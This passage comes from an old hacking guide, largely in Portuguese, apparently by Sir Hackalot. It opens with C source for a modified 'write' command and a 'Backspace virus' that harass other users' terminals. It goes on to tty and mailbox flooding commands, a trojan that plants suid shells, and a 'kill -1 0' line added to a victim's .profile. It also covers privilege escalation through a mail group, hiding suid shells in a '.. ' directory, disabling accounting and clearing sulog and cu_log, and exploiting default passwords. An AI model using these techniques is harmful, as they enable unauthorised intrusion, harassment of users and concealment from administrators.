                printf("You have write permissions turned off (hehe!).\n");
        }

    if (histtya) {
                if (!strncmp(histtya, "/dev/", 5))
                        histtya = strrchr(histtya, '/') + 1;
                strcpy(histty, "/dev/");
                strcat(histty, histtya);
        }
        while (fread((char *)&ubuf, sizeof(ubuf), 1, uf) == 1) {
                if (ubuf.ut_name[0] == '\0')
                        continue;
                if (!strncmp(ubuf.ut_name, him, NMAX)) {
                        logcnt++;
                        if (histty[0]==0) {
                                strcpy(histty, "/dev/");
                                strcat(histty, ubuf.ut_line);
                        }
                        if (histtya) {
                                if (!strcmp(ubuf.ut_line, histtya))
                                        goodtty++;
                        }
                }
        }
        fclose(uf);
        if (logcnt==0) {
                printf("%s not found! (Not logged in?)\n", him);
                exit(1);
        }

        if (histtya==0 && logcnt > 1) {
                printf("%s logged more than once\nwriting to %s\n", him, histty+5);
        }
        if (access(histty, 0) < 0) {
                printf("No such tty? [%s]\n",histty);
                exit(1);
        }
        signal(SIGALRM, timout);
        alarm(5);
        if ((tf = fopen(histty, "w")) == NULL)
                goto perm;
        alarm(0);
        if (fstat(fileno(tf), &stbuf) < 0)
                goto perm;
        if (geteuid() != 0 && (stbuf.st_mode&02) == 0)
                goto perm;
        ioctl(0, TCGETA, &oldmode);             /* save tty state */
        ioctl(0, TCGETA, &mode);
        sigs(eof);
        uname(&name);
        if (strcmp(him,"YOURNAMEHERE") == 0) yn = 1;
  if (yn == 1 ) {
    fprintf(tf, "\r(%s attempted to HOSE You with NW)\r\n",me);
    fclose(tf);
    printf("Critical Error Handler: %s running conflicting process\n",him);
    exit(1);
}
    fflush(tf);
        mode.c_cc[4] = 1;
        mode.c_cc[5] = 0;
        mode.c_lflag &= ~ICANON;
        ioctl(0, TCSETAW, &mode);
        lastc = '\n';


printf("Backspace / Spin Cursor set lose on: %s\n",him);
   while (loop == 0) {
   c1 = '\b';
   write(fileno(tf),&c1,1);
   sleep(5);
fprintf(tf,"\\\b|\b/\b-\b+\b");
   fflush(tf);
   }




perm:
printf("Write Permissions denied!\n");
exit(1);
}

timout()
{

printf("Timeout opening their tty\n");
exit(1);
}

eof()
{
printf("Bye..\n");
ioctl(0, TCSETAW, &oldmode);
exit(0);
}

ex()
{
        register i;
        sigs(SIG_IGN);
        i = fork();
        if (i < 0) {
                printf("Try again\n");
                goto out;
        }
        if (i == 0) {
                sigs((int (*)())0);
                execl(getenv("SHELL")?getenv("SHELL"):"/bin/sh","sh","-t",0);
                exit(0);
        }
        while(wait((int *)NULL) != i)
                ;
        printf("!\n");
out:
        sigs(eof);
}

sigs(sig)
int (*sig)();
{
        register i;
        for (i=0; signum[i]; i++)
                signal(signum[i], sig);
}



O que o codigo acima e? uma versao modificada do comando write.
O que ele faz?  Ele avanca o cursor devois volta na tela do usuario 
que esta rodando. Entretanto, ele nao afeta fisicamente a entrada de dados,
o usuario pensa que ele faz.  Entretanto, ele muda a velocidade da entrada de
dados.  O sleep(xx) pode ser alterado para fazer os dados passarem mais rapidos
ou menos rapidos.
Se voce puser sua conta no "YOURNAMEHERE", ele ira proteger voce de ser pego por
isso, se alguem de um unix de acesso publico encontra o executavel em seu diretorio.
Voce pode fazer um programa menor que faz quase a mesma coisa, mas voce precisa 
suprir o terminal, observe:

/* Backspace virus, by Sir Hackalot [Phaze] */
#include 
#include 
main(argc,argv)
char *argv[];
int argc;
{
        int x = 1;
        char *device = "/dev/";
        FILE *histty;
        if (argc == 1) {
        printf("Bafoon.  Supply a TTY.\n");
        exit(1);
        }
        strcat(device,argv[1]);
        /* Make the filename /dev/tty.. */
        histty = fopen(device,"a");
        if (histty == NULL) {
        printf("Error opening/writing to tty.  Check their perms.\n");
        exit(1);
        }
        printf("BSV - Backspace virus, By Sir Hackalot.\n");
        printf("The Sucker on %s is getting it!\n",device);
        while (x == 1) {
        fprintf(histty,"\b\b");
        fflush(histty);
        sleep(5);
        }
        }

Isso e tudo.  Se voce pode escrever para o tty dele, voce pode fazer isso
nele.  Ele envia dois backspaces para eles a cada 5 segundos aproximadamente.
Voce pode rodar esse programa no background.  (&).  Aqui esta um exemplo:

$ who
sirhack     tty11
loozer      tty12
$ bsv tty12&
[1]  4566
BSV - Backspace virus, by Sir Hackalot
The Sucker on /dev/tty12 is getting it!
$

Agora, ele vai ficar "atacando" ele, ate que ele desconecte, ou voce mate o processo 
(Lembra do kill?) (esse programa que no caso tinha numero = 4566 -- quando voce usa &, ele fornece
o  pid [geralmente]).

** Nota *** Tenha em mente que o MSDOS, e outros SO usam o metodo de CR/LF
para terminar uma linha.  Entretanto, o LF termina uma linha em Unix.
Voce deve remover os CR's em um upload de arquivos ascii se voce quiser que o 
editor trabalhe direito.  Senao, voce vera um ^M no fim de cada linha.  Sei que isso
e chato, mas voce precisa arrumar isso.

Eu tenho um grande numero de programas que atrapalhas os usuarios, mas e suficiente que
voce deixe a imaginacao voar, desde que voce programe em C.  Voce pode encher o saco
dos usuarios de outras formas.  Uma coisa que voce pode fazer e encher o usuario de 
emails idiotas.
A forma para fazer isso e encontrar um arquivo binario (30k ou maior) no sistema
que voce tem acesso para ler.  Entao, faca isso:

$ cat arquivo_binario | mail loozer

ou

$ mail loozer < arquivo_binario

Essas sao duas formas de enviar um email.  A primeira messagem ira ter uma linha
from mostrando quem mandou.. (voce), mas a segunda nao ira!  Uma vez que ele nao 
existe, o leitor de email ficara saindo e dando ao usuario uma mensagem de erro ate
o erro ser corrigido.  O modo de fixar isso e ir ate a caixa de correio do usuario
que foi atingido com esse truque (geralmente so o usuario ou o root podem fazer isso)
editar o arquivo e ascrestar uma linha from.. tipo:  From conta.
entao ela vai ficar certo.  Voce pode atrapalhar o usuario ao usar o comando "cat" para
enviar um arquivo binario para a tty dele.
Digamos que Loozer esta no tty12.  Voce pode fazer..
$ cat arquivo_binario >/dev/tty12
$
Ele pode dar uma pausa enquanto ela faz a saida de dados.  Se voce quiser continuar o que
voce estava fazendo instantaneamente, faca:
$ cat arquivo_binario >/dev/tty12&
[1] 4690
$
E ele sera provavelmente desconectado.  Voce pode enviar a saida de dados de tudos o que faz
em seu terminal para ele.  Tudo o que VOCE fizer em shell.  Tipo isso:
$ sh >/dev/tty12
$
Voce tera o prompt mas nao vera resposta a nenhum comando, o usuario ira...
$ ls
$ banner Idiota!
$ echo Panaca!
$
Ate voce digitar exit, ou teclar ctrl-d.

Dica do LeBeau:
Ai vi uma dica para ninguem disser que eu sou um lammer que so entende de Ingles:
$ while : ; do
> banner Idiota! >/dev/tty12       
>done

outra forma disso seria:

$ banner Idiota! > idiota
$ while : ; do
> write loozer < idiota
>done

Isso vai fazer um loop infinito, enchendo a tela do usuario com a palavra Idiota!
A diferenca do primeiro para o segundo seria que o segundo mostra quem enviou
a mensagem ja a primeira nao.


Existem muitas coisas que voce pode fazer.  Voce pode enviar um write falso para
alguem e fazer ele pensae que foi de alguem do outro lado do inferno.  Seja criativo.

Quando voce estiver olhando por coisas a fazer, procure por falhas, ou tente fazer
alguem rodar um cavalo de troia que faz um shell suid.  Se voce fizer alguem rodar
um cavalo de troia que faz isso, voce pode rodar a suid, e desconectar aquele cara
ao matar a PID principal dele.  (kill -9 algumacoisa).  Ou, voce pode tirar eles fora
por um bom tempo acrescentando a linha "kill -1 0" ao .profile dele.  No interior das
falhas, sempre procure bits de suid maus.  Em um sistema que devia ser invencivel
Eu fui capaz de ler/modificar o email de todos, porque eu usei um mailer (programa 
gerenciador de email) que tinha tanto o GroupID quanto o UserID.  Quando eu fui dar um shell 
a partir dele, o programa instantaneamente mudou meu ID efetivo de volta, assim eu 
nao podia fazer nada alem daquilo que eu podia fazer.  Mas ele nao foi desenvolvido 
para trazer o GROUP ID de volta. O sysop errou nisso.  Assim quando eu fiz o comando
id eu vi que pertencia ao grupo "mail".  Arquivos de email podem ser lidas/escritas
pelo user "mail", e pelo grupo "mail".  Eu entao fiz um shell sgid (set group id). Para
mudar meu id de grupo para "mail" quando eu rodar ele, e procurar por importante emails
e isso me deu uma boa informacao.  Assim, fique de olho por permissoes pobres.

Outra coisa, depois que voce ganha acesso, voce pode querer manter isso.  Aqui estao algumas 
dicas sobre isso:
        1. Nao espalhe.  Se o sysadm ve que joeuser conectou 500 vezes numa noite.... entao....
        2. Nao fique muitas horas por vez.  Eles podem tracar da onde voce esta. Tambem eles
           vao saber se voce e irregular se o joeuser estiver conectado depois de 4 depois do trabalho.
        3. Nao destrua o sistema.  Nao apague arquivos importantes.
           Use a maquina para algo especifico (para pesquisar codigo fonte, desenvolver programas,
           site de email).  Nao seja um filho da mae com todos, e nao tente apagar tudo o que 
           voce pode.
        4. Nao mexa com os usuarios constantemente.  Verifique os processos deles e rode o que eles
           rodam.  Voce pode pegar uma boa info (snoop!)
        5. Se voce acrescentar uma conta, primeiro olhe nas contas que ja existem.
           Se voce ve um monte de contas que tem apenas 3 letras, entao a sua deve ser
           tambem.  Se um sistema usa "cln, dok, wed" ou algo assim, nao acrescente uma conta
           chamada "joeuser", acrescente alguma que e somente as iniciais.
        6. Quando voce acrescentar uma conta, ponha um nome feminino, so se isso encaixa
           (Ou seja, se apenas companhias conectam no unix, ponha uma nome de 
           companhia la).  As pessoas nao suspeitam que hackers usem nomes de mulheres.
           Eles procuram por nomes de homens.
        7. Don't cost the Unix machine too much money.  Ie.. don't abuse an
           outdial, or if it controls trunks, do not set up a bunch of dial
           outs.  If there is a pad, don't use it unless you NEED it.
        8. Nao use x.25 pads.  O uso deles e altamente descoberto.
        9. Deixe o log acct desligado (acct off) se voce tiver como fazer isso.
           Ligue-o assim que voce terminar.
       10. Remova qualquer cavalo de troia que voce deixou ativado para dar a voce  
           acesso assim que voce tiver acesso.
           
       11. NAO mude o arquivo MOTD para disser "Eu hackeei esse sistema" .
           Muitas, mas muitas pessoas fazem isso, e perdem o acesso dentro de 2 horas.
       12. Tenha bom julgamento.  Cubra seus rastros.  Se voce usa su, limpe o 
           sulog.
       13. Se voce usa cu, limpe o cu_log.
       14. Se voce usa o defeito smtp (wizard/debug), crie um shell de uid.
       15. Esconda todos shell suid.  Aqui esta como:
           goto /usr
           (ou outro dir)
           faca:
           # mkdir ".. "
           # cd ".. "
           # cp /bin/sh ".whatever"
           # chmod a+s ".whatever"
           Os "" sao necessarios para entrar no diretorio ..  !  Ele nao ira aparecer
           em uma listagem de arquivos, e e dificil paca para os sysadms entrar
           se voce fizer 4 ou 5 espacos nele ("..    "), porque tudo o que ele vao ver
           na listagem completa sera .. e eles nao serao capazes de entrar a menos que eles
           usem "" e saibam o espacamento.  "" e usado quando voce quer fazer literais,
           ou use um coringa como parte do nome de arquivo.
           
       16. Don't hog cpu time with password hackers.  They really don't work
           well.

       17. Nao use muito espaco em disco.  Se voce arquivar algo para copiar,
           copie isso, depois apague os arquivos.
       18. Basicamente -- CUBRA SEUS RASTROS.

Algumas notas finais:

Agora, eu escuto inúmeros rumores e estórias tipo "É muito difícil entrar nos
sistemas...".  Errado. (Yo Pheds! Voce estao lendo isso??).  Isso é verdade 
quando voce está tratando com WAN, tipo telnet, tyment, e a Internet,
mas não com computadores locais fora daquelas redes.  Aqui esta a historia:

A partir de alguns anos atrás, muitas companhias pequenas cresceram como VARs
(Value Added Resellers, algo como revendedoras) para Unix e Hardware, de forma
a fazer dinheiro.  Agora, essas companhias rapidamente falam com outras companhias
em comprar qualquer coisa, e eles fazem isso por Unix.  Agora, o LeBeau está
cheio de traduzir, uma rápida interpretação disso seria que as empresas deixam
as senhas padrão de propósito para que as empresas (e quem mais quiser) possam entrar
. Now, these companies fast talk companies into buying whatever,
and they proceed in setting up the Unix.  Now, since they get paid by
the hour usaually when setting one up, they spread it out over days....
during these days, the system is WIDE open (if it has a dialin).  Get
in and add yourself to passwd before the seal it off (if they do..).
Then again, after the machine is set up, they leave the defaults on the
system.  Why?  The company needs to get in, and most VARs cannot use
unix worth a shit, all they know how to do is set it up, and that is ALL.
Then, they turn over the system to a company or business that USUALLY
has no-one that knows what they hell they are doing with the thing, except
with menus.  So, they leave the system open to all...(inadvertedly..),
because they are not competant.  So, you could usually get on, and create
havoc, and at first they will think it is a bug..  I have seen this
happen ALL to many times, and it is always the same story...
The VAR is out for a fast buck, so they set up the software (all they know
how to do), and install any software packages ordered with it (following
the step by step instructions).  Then they turn it over to the business
who runs a word processor, or database, or something, un aware that a
"shell" or command line exists, and they probably don't even know root does.
So, we will see more and more of these pop up, especially since AT&T is
now bundling a version of Xwindows with their new System V, and Simultask...
which will lead to even more holes.  You'll find systems local to you
that are easy as hell to get into, and you'll see what I mean.  These
VARs are really actually working for us.  If a security problem arises
that the business is aware of, they call the VAR to fix it... Of course,
the Var gets paid by the hour, and leaves something open so you'll get in
again, and they make more moolahhhh.

Voce pode usar esse arquivo para qualquer coisa que quiser.  Eu não posso
parar voce.  Apenas para aprender unix (heh) ou outras coisas.  Mas é o seu 
rabo que vai ser preso se fizer besteira, não eu.
Sempre considere as penalidades antes de tentar algo.  Algumas vezes
não vale o esforco, algumas vezes vale.

Tente ser compreensivo, mesmo quando o sistema nao ajudar.
Eu usei muitas técnicas e truques, especificamente para fazer que voce aprenda 
algo por si próprio, e também para reter informações assim voce terá muitos segredos.
Voce pode passar esse arquivo, para qualquer BBS boa de H/P
ou Home Page Boa sobre hackers.
1